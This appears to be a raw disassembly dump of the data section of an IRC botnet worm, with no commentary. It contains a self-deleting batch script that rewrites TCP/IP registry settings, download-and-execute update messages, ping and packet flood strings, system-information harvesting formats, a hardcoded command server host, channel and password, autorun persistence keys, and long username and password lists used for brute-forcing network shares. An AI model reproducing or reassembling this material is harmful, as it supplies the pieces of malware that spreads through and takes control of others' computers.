db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
db 'DEL %temp%\1.reg',0Dh,0Ah
db 'DEL %0',0Dh,0Ah,0
align 4
unk_4227D4 db 2 ; DATA XREF: sub_407357:loc_407416o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 4
unk_422818 db 2 ; DATA XREF: sub_407357:loc_4073E4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 4
unk_42285C db 2 ; DATA XREF: sub_407357:loc_4073B0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 4
unk_422894 db 2 ; DATA XREF: sub_407357+49o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 4
unk_4228D8 db 2 ; DATA XREF: seg000:00407617o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 4
unk_422918 db 2 ; DATA XREF: seg000:00407549o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 4
dword_422954 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: seg000:0040782Do
dd 2029206Ch, 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 4
dword_422994 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: seg000:004076F5o
dd 2029206Ch, 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 10h
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40787D+52o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40799C+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40799C+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40799C:loc_407B00o
align 4
word_422AD8 dw 3Fh ; DATA XREF: sub_40799C:loc_407A9Er
; sub_4086FA+1Fo
align 4
dword_422ADC dd 28207325h, 297325hdword_422AE4 dd 3F3F3Fh ; seg000:loc_40F95Co
a2003 db '2003',0 ; DATA XREF: sub_40799C+BAo
; seg002:004232ECo ...
align 10h
aXp db 'XP',0 ; DATA XREF: sub_40799C+AAo
; seg000:0040F947o ...
align 4
a2k db '2K',0 ; DATA XREF: sub_40799C+98o
; seg000:0040F937o
align 4
aMe db 'ME',0 ; DATA XREF: sub_40799C+7Eo
; seg000:0040F91Eo
align 4
a98 db '98',0 ; DATA XREF: sub_40799C+6Co
; seg000:0040F90Eo
align 10h
aNt db 'NT',0 ; DATA XREF: sub_40799C+5Ao
; seg000:0040F8FEo
align 4
a95 db '95',0 ; DATA XREF: sub_40799C+46o
; seg000:0040F8F0o
align 4
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_407C50+ABo
align 4
off_422B48 dd offset loc_412F4A+4 ; DATA XREF: sub_407C50:loc_407CC4o
dword_422B4C dd 4E414Ch dword_422B50 dd 6C616944h, 70752Dhdword_422B58 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_422B68 dd 202E6425h, 3D207325h, 732520hdword_422B74 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_407E0E+60o
align 4
dword_422BA8 dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
; DATA XREF: sub_407EAE+1Ao
dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_422BE0 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_407EEE+DCo
dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh
dd 2E657465h, 0
dword_422C10 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_407EEE+3Fo
dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h, 0
dword_422C38 dd 78h align 10h
dword_422C40 dd 80000002h, 4230E0h, 80000002h, 423110h, 80000001h, 423148h
; DATA XREF: sub_40801D+7o
unk_422C58 db 2 ; DATA XREF: sub_40801D+63o
; seg000:004085E5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h
dd 25203A64h, 2E73h
aOpen db 'open',0 ; DATA XREF: seg000:0040B524o
; seg000:0040D109o ...
align 10h
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 10h
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 10h
unk_422ED0 db 2 ; DATA XREF: seg000:004081C9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_4086FA:loc_40873Do
; sub_40EC42+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_4086FA:loc_408737o
aDisk db 'Disk',0 ; DATA XREF: sub_4086FA:loc_408731o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_4086FA:loc_40872Bo
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4086FA:loc_408725o
align 4
aRam db 'RAM',0 ; DATA XREF: sub_4086FA:loc_40871Fo
aFailed db 'failed',0 ; DATA XREF: sub_40878B:loc_408863o
; sub_4088A6+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_40878B+6Bo
align 4
dword_422F48 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_4088A6+8Eo
dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
dword_422F98 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_4088A6+58o
dd 2029206Ch, 2BBBB02h
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
align 4
aA_0 db 'A:\',0 ; DATA XREF: sub_408978:loc_4089BDo
dword_422FEC dd 1A0Bh ; seg000:0040901Dr
dword_422FF0 dd 1A0Bh dd 1AA6h
dword_422FF8 dd 0CCEh ; seg000:0040D70Ar
dword_422FFC dd 158Dh ; seg000:loc_40D7FCr
dword_423000 dd 1 dword_423004 dd 1 dword_423008 dd 1 ; seg000:00408E31o
byte_42300C db 78h ; DATA XREF: seg000:loc_408650r
; seg000:00409A44r ...
align 10h
dword_423010 dd 9 ; sub_40F6E3+51r ...
dword_423014 dd 1 ; seg000:0040960Cr ...
aIds44433 db 'ids44433',0 ; DATA XREF: seg000:00408B4Fo
; seg000:0040C72Ao ...
align 4
aEnz9_9b3443 db 'enz 9.9b3443',0
align 4
aHi db 'hi',0 ; DATA XREF: seg000:0040E19Co
; seg000:0040E26Bo
align 4
aDd_mybn_us db 'dd.mybn.us',0 ; DATA XREF: seg000:00408F73o
; seg000:0040900Eo
align 4
aDd db '#dd',0 ; DATA XREF: seg000:00408F94o
; seg000:00409024o
aDpass db 'dpass',0 ; DATA XREF: seg000:00408FABo
; seg000:00409036o
align 10h
byte_423050 db 6Eh ; DATA XREF: seg000:loc_40904Cr
; seg000:0040905Ao
db 65h, 77h, 2Eh
dd 646A616Eh, 73752Eh
dword_42305C dd 646423h aDpass_0 db 'dpass',0 ; DATA XREF: seg000:00409082o
align 4
byte_423068 db 52h ; DATA XREF: sub_402B8D+3Eo
; seg000:00405062o ...
db 2 dup(6Fh), 54h
dd 74666F73h, 6D6F632Eh, 0
dd 746F6F72h, 74666F73h, 6C6C642Eh, 0
dword_423088 dd 746F6F52h, 666F5320h, 74hdword_423094 dd 2D324653h, 0 dd 546F6F52h, 74666F73h, 6D6F632Eh, 0
dword_4230AC dd 692B782Bh, 0 dword_4230B4 dd 32667323h, 0 ; seg000:0040D554o ...
dd 2 dup(737323h), 32323835h, 31h, 326673h, 2E326673h
dd 0
off_4230D8 dd offset a@room ; DATA XREF: seg000:loc_40E1E6o
; "*@room"
off_4230DC dd offset aMirc1_6_99 ; DATA XREF: seg000:00409BBDr
; seg000:0040E202o
; "mirc 1.6.99"
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 10h
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_40FC75+28o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_40FC75+D4o
align 4
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd offset aUser_0 ; "USER"
align 10h
dd offset dword_42F3E8
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
dd offset a111 ; "111"
dd offset a11111111 ; "11111111"
dd offset a88888888 ; "88888888"
dd offset aPass_0 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset aOracle ; "oracle"
dd offset aSybase ; "sybase"
dd offset a123qwe ; "123qwe"
dd offset aComputer ; "computer"
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
dd offset a123asd ; "123asd"
dd offset aIhavenopass ; "ihavenopass"
dd offset aGodblessyou ; "godblessyou"
dd offset aEnable ; "enable"
dd offset aXp_0 ; "xp"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a110 ; "110"
dd offset a111111 ; "111111"
dd offset a121212 ; "121212"
dd offset a123123 ; "123123"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a007 ; "007"
dd offset aAlpha ; "alpha"
dd offset aPatrick ; "patrick"
dd offset aPat ; "pat"
dd offset aSex_0 ; "sex"
dd offset aGod ; "god"
dd offset aFoobar ; "foobar"
dd offset aNilez ; "Nilez"
dd offset aDevil ; "devil"
dd offset aNetdevil ; "netdevil"
dd offset aNetDevil ; "net-devil"
dd offset a0wned ; "0wned"
dd offset aOwned ; "owned"
dd offset aIrule ; "irule"
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
dd offset aA_1 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aTest123 ; "test123"
dd offset aWin ; "win"
dd offset aPc ; "pc"
dd offset aAsdf ; "asdf"
dd offset aSecret ; "secret"
dd offset aQwer ; "qwer"
dd offset aYxcv ; "yxcv"
dd offset aZxcv ; "zxcv"
dd offset aHome ; "home"
dd offset aLogin ; "login"
dd offset aPwd ; "pwd"
dd offset aLove ; "love"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aAdmin123 ; "admin123"
dd offset aPw123 ; "pw123"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aPw ; "pw"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aGobo ; "gobo"
dd offset aSatan ; "satan"
dd offset aSatanik ; "satanik"
dd offset aSatanic ; "satanic"
dd offset aSpaceman ; "spaceman"
dd offset aHeaven ; "heaven"
dd offset aW00t ; "w00t"
dd offset a0wn3d ; "0wn3d"
dd offset aKiller ; "killer"
dd offset aLeet ; "leet"
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc_0 ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_429AE0 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset dword_41F1D0
dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept ; "accept"
dd offset aAccount ; "account"
dd offset aAction ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsian ; "asian"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBlack ; "black"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
